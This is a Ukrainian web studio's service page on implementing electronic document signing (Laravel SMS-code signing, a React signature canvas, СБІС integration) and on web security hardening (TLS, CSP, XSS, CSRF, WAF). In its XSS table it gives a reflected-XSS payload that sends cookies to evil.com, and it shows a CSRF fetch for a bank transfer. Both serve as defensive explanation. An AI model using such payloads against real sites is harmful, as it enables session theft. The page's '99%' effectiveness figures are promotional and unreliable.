Реалізація електронного підпису документів на сайті

Наша компанія займається розробкою, підтримкою та обслуговуванням сайтів будь-якої складності. Від простих односторінкових сайтів до масштабних кластерних систем, побудованих на мікро сервісах. Досвід розробників підтверджено сертифікатами від вендорів.

Розробка та обслуговування будь-яких видів сайтів:

Інформаційні сайти або веб-програми
Сайти візитки, landing page, корпоративні сайти, онлайн каталоги, квіз, промо-сайти, блоги, ресурси новин, інформаційні портали, форуми, агрегатори
Сайти або веб-програми електронної комерції
Інтернет-магазини, B2B-портали, маркетплейси, онлайн-обмінники, кешбек-сайти, біржі, дропшиппінг-платформи, парсери товарів
Веб-програми для управління бізнес-процесами
CRM-системи, ERP-системи, корпоративні портали, системи управління виробництвом, парсери інформації
Сайти або веб-програми електронних послуг
Дошки оголошень, онлайн-школи, онлайн-кінотеатри, конструктори сайтів, портали надання електронних послуг, відеохостинги, тематичні портали

Це лише деякі з технічних типів сайтів, з якими ми працюємо, і кожен із них може мати свої специфічні особливості та функціональність, а також бути адаптованим під конкретні потреби та цілі клієнта.

Послуги, які ми пропонуємо
Показано 1 з 1Усі 2062 послуг
Реалізація електронного підпису документів на сайті
Складний
~1-2 тижні
Часті запитання

Наші компетенції:

Етапи розробки

Останні роботи

  • image_website-b2b-advance_0.webp
    Розробка сайту компанії B2B ADVANCE
    1362
  • image_web-applications_feedme_466_0.webp
    Розробка веб-додатків для компанії FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Розробка веб-сайту для компанії БЕЛФІНГРУП
    958
  • image_ecommerce_furnoro_435_0.webp
    Розробка інтернет магазину для компанії FURNORO
    1190
  • image_crm_enviok_479_0.webp
    Розробка веб-додатків для компанії Enviok
    932
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Розробка веб-сайту для компанії ФІКСПЕР
    949

Реалізація електронного підпису документів

Нещодавно до нас звернувся fintech-стартап: їх система підписання договорів із клієнтами складалася з простого SMS-коду без угоди про ЕП. Після аудиту з'ясувалося, що юридична сила таких підписів — нульова, а всі договори під загрозою нікчемності. Ми оперативно впровадили повний цикл: від SMS-коду до КЕП через СБІС. Розповідаємо, як уникнути подібних помилок і реалізувати юридично значущий електронний підпис на сайті.

Розрізняють три типи ЕП: простий (ПЕП — логін/пароль/SMS-код), посилений некваліфікований (НЕП — криптографія, сертифікат ключа перевірки), кваліфікований (КЕП — лише через засвідчувальний центр, прирівнюється до власноручного). Вибір залежить від вимог до юридичної значущості та бюджету. Порівняємо їх ключові характеристики:

Тип ЕП Юридична сила Складність реалізації Вартість Термін впровадження
ПЕП Потребує угоди Низька Низька 1–2 дні
НЕП Середня (з сертифікатом) Середня Середня 3–5 днів
КЕП Найвища (дорівнює власноручному) Висока Висока 5–10 днів

Чому простий ЕП без угоди — це пастка?

Без окремої угоди про використання простого ЕП (оферти або договору приєднання) підпис не має юридичної сили. Згідно з 63-ФЗ, простий ЕП визнається рівнозначним власноручному підпису лише за наявності угоди між сторонами. Ми завжди фіксуємо факт акцепту угоди через окремий чекбокс і зберігаємо аудит-лог. Інакше навіть при успішному SMS-підтвердженні документ можна оскаржити в суді.

Коли без кваліфікованого підпису не обійтися?

КЕП обов'язковий для держзакупівель (44-ФЗ, 223-ФЗ), звітності в ФНС, Росреєстр та угод з нерухомістю. Юридична сила КЕП у сотні разів вища, ніж у простого ЕП — вона підтверджується сертифікатом УЦ та ключем ФСБ. Помилка при виборі може призвести до штрафів до 500 000 рублів і визнання угод недійсними.

Як працює простий ЕП: SMS-підписання договору

Найпоширеніший підхід для B2C: користувач отримує код по SMS, вводить його, ми фіксуємо відмітку часу, IP, fingerprint та хеш документа. Юридично значущий як простий ЕП лише за наявності окремої угоди про використання ЕП. Без нього — просто підтвердження дії.

// Модель документа з аудитом підписання
class Document extends Model
{
    protected $casts = [
        'signing_metadata' => 'array',
        'signed_at'        => 'datetime',
    ];
}

// Сервіс підписання
class DocumentSigningService
{
    public function initiateSignin(Document $document, User $user): void
    {
        // Генерація та відправка коду
        $code = str_pad(random_int(0, 999999), 6, '0', STR_PAD_LEFT);

        Cache::put("signing_code:{$document->id}:{$user->id}", bcrypt($code), now()->addMinutes(15));

        $user->notify(new DocumentSigningCodeNotification($code, $document));
    }

    public function confirmSigning(Document $document, User $user, string $code, Request $request): void
    {
        $cached = Cache::get("signing_code:{$document->id}:{$user->id}");

        if (!$cached || !Hash::check($code, $cached)) {
            throw new InvalidSigningCodeException('Невірний або прострочений код підтвердження');
        }

        // Створити хеш поточної версії документа
        $documentHash = hash('sha256', Storage::disk('s3')->get($document->path));

        $document->update([
            'status'           => 'signed',
            'signed_at'        => now(),
            'signed_by'        => $user->id,
            'document_hash'    => $documentHash,
            'signing_metadata' => [
                'ip'            => $request->ip(),
                'user_agent'    => $request->userAgent(),
                'fingerprint'   => $request->header('X-Client-Fingerprint'),
                'method'        => 'sms_code',
                'phone_last4'   => substr($user->phone, -4),
                'code_sent_at'  => Cache::get("signing_code_sent_at:{$document->id}:{$user->id}"),
                'signed_at_iso' => now()->toIso8601String(),
                'timezone'      => $request->header('X-Timezone', 'UTC'),
            ],
        ]);

        // Зафіксувати підпис в аудит-лозі
        AuditLog::create([
            'action'      => 'document.signed',
            'user_id'     => $user->id,
            'document_id' => $document->id,
            'metadata'    => $document->signing_metadata,
        ]);

        Cache::forget("signing_code:{$document->id}:{$user->id}");

        // Відправити підписану копію на email
        $user->notify(new DocumentSignedNotification($document));
    }
}

Як вбудувати візуальний підпис у PDF і не втратити юридичну силу?

Для інтерфейсів, де користувач малює підпис стилусом або мишею, підключаємо бібліотеку react-signature-canvas (Canvas API). Важливо: сама по собі растрова підпис не має юридичної сили — її потрібно прив'язати до документа через хеш та метадані. Ми використовуємо два кроки: спочатку зберігаємо зображення підпису та ініціюємо сесію, потім підтверджуємо SMS-кодом.

import SignatureCanvas from 'react-signature-canvas';
import { useRef, useState } from 'react';

function DocumentSigner({ documentId }: { documentId: number }) {
  const sigCanvas = useRef<SignatureCanvas>(null);
  const [step, setStep] = useState<'draw' | 'confirm' | 'sms'>('draw');
  const [smsCode, setSmsCode] = useState('');

  const handleDrawComplete = async () => {
    if (sigCanvas.current?.isEmpty()) return;

    const signatureData = sigCanvas.current!.toDataURL('image/png');

    // Зберегти зображення підпису, перейти до SMS-підтвердження
    await api.post(`/documents/${documentId}/initiate`, { signature_image: signatureData });
    setStep('sms');
  };

  const handleSmsConfirm = async () => {
    await api.post(`/documents/${documentId}/confirm`, { code: smsCode });
    setStep('confirm');
  };

  return (
    <div>
      {step === 'draw' && (
        <>
          <p>Намалюйте ваш підпис:</p>
          <div style={{ border: '1px solid #e5e7eb', borderRadius: 8 }}>
            <SignatureCanvas
              ref={sigCanvas}
              penColor="#1a1a1a"
              canvasProps={{ width: 500, height: 200, className: 'signature-canvas' }}
            />
          </div>
          <button onClick={() => sigCanvas.current?.clear()}>Очистити</button>
          <button onClick={handleDrawComplete}>Далі</button>
        </>
      )}

      {step === 'sms' && (
        <>
          <p>Введіть код із SMS для підтвердження підпису:</p>
          <input
            type="text" inputMode="numeric"
            maxLength={6} value={smsCode}
            onChange={e => setSmsCode(e.target.value)}
          />
          <button onClick={handleSmsConfirm}>Підписати</button>
        </>
      )}

      {step === 'confirm' && (
        <p>Документ успішно підписано. Копію надіслано на ваш email.</p>
      )}
    </div>
  );
}

КЕП через СБІС / КриптоПро: максимальна юридична сила

Для B2B та держзамовлення впроваджуємо кваліфікований електронний підпис. Підключення до СБІС або КриптоПро займає 5–7 днів. Підписання відбувається на стороні УЦ — ми лише передаємо документ і отримуємо підпис.

// Інтеграція зі СБІС API (підписання на стороні УЦ)
class SbisSigningService
{
    public function sign(string $documentBase64, int $signatoryId): string
    {
        $response = Http::withToken($this->getToken())
            ->post('https://online.sbis.ru/service/sbis.Signature.Sign', [
                'jsonrpc' => '2.0',
                'method'  => 'СБІС.ПідписатиДокумент',
                'params'  => [
                    'Документ'     => $documentBase64,
                    'Підписувач' => $signatoryId,
                ],
            ]);

        return $response->json('result.Підпис');
    }
}

Зберігання та перевірка підписаних документів

// Верифікація підпису — перевірити, що документ не змінено після підписання
public function verify(Document $document): bool
{
    $currentHash = hash('sha256', Storage::disk('s3')->get($document->path));
    return hash_equals($document->document_hash, $currentHash);
}

Підписані документи зберігаємо з незмінними правами (S3 Object Lock) — це запобігає фальсифікації навіть при компрометації акаунта. Додатково налаштовуємо retention policy на 5 років (строк позовної давності).

Що потрібно для юридичної значущості простого ЕП? Для надання юридичної сили простому ЕП необхідно: - Укласти угоду про використання ПЕП (оферта або договір приєднання) - Фіксувати час підписання, IP, User-Agent - Зберігати аудит-лог усіх дій (хто, коли, що підписав) - Використовувати одноразові SMS-коди з обмеженим строком дії - Зберігати SHA-256 хеш документа в момент підписання

Що входить у реалізацію під ключ

Етап Склад робіт Тривалість
Аналітика Вибір типу ЕП, узгодження юридичної схеми 1 день
Проектування Розробка архітектури, UX підписання 1–2 дні
Реалізація ПЕП SMS-код, хеш, аудит-лог, сповіщення 3–4 дні
Canvas + PDF-штамп Візуальний підпис, вбудовування в PDF +2–3 дні
КЕП (СБІС/КриптоПро) Інтеграція з УЦ, реєстрація підписантів 5–7 днів
Сховище S3 Object Lock, retention, верифікація 1–2 дні
Документація та передача API-специфікація, інструкція, навчання 1 день

Оцінка точної вартості та термінів — індивідуально після аудиту поточної архітектури. Отримайте консультацію з вибору типу підпису для вашого бізнесу — зв'яжіться з нами.

Чому варто замовити реалізацію у нас

Ми реалізували ЕП для понад 20 проєктів — від fintech-стартапів до держпорталів. Гарантуємо юридичну чистоту та відповідність 63-ФЗ, 149-ФЗ та 152-ФЗ. Передаємо повну документацію та доступ до вихідного коду. Досвід роботи з сертифікованими УЦ (СБІС, КриптоПро, Контур) підтверджено сертифікатами.

Замовте аудит поточної системи підписання — ми знайдемо вразливості та запропонуємо оптимальне рішення.

Безпека веб-додатків: що приховує «тихий» злом

Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.

Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.

HTTPS та правильна конфігурація TLS

HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.

В конфігурації Nginx/Apache перевіряємо:

  • Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
  • Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security з includeSubDomains; preload) — браузер більше не робить незахищених запитів
  • OCSP Stapling — прискорює перевірку відкликання сертифіката
  • Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)

Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.

Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.

Content Security Policy: як він закриває XSS на 99%?

CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.

Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.

Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.

'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.

CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.

Чому XSS залишається найпоширенішою вразливістю?

XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:

Тип XSS Приклад Захист
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Екранування виводу, CSP
Stored Коментар з кодом, збережений в базі Валідація вводу, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Уникати innerHTML, використовувати textContent

Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.

Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.

CSRF: захист форм та API

CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.

CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.

SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.

API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.

WAF та захист від DDoS

WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:

  • Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
  • AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.

DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).

Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).

Інші обов'язкові заходи

Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).

SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.

Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.

Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.

Як ми працюємо?

  1. Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
  2. Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
  3. Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
  4. Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
  5. Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.

Що входить в роботу?

  • Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
  • Готова конфігурація TLS (Nginx/Apache)
  • Політика CSP з режимом Report-Only та бойовою версією
  • Налаштування WAF та Rate Limiting
  • План оновлень залежностей
  • Доступи до інструментів моніторингу (Sentry, Datadog)
  • 30 днів постаудит-підтримки (консультації, правки)

Терміни та вартість

Тип робіт Строк
Security-аудит + hardening (заголовки, TLS, оновлення) 1–2 тижні
Впровадження CSP (Report-Only → продакшен) 2–4 тижні
Налаштування WAF + Rate Limiting + DDoS захист 1–2 тижні
Комплексний security review + пентест 3–6 тижнів

Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.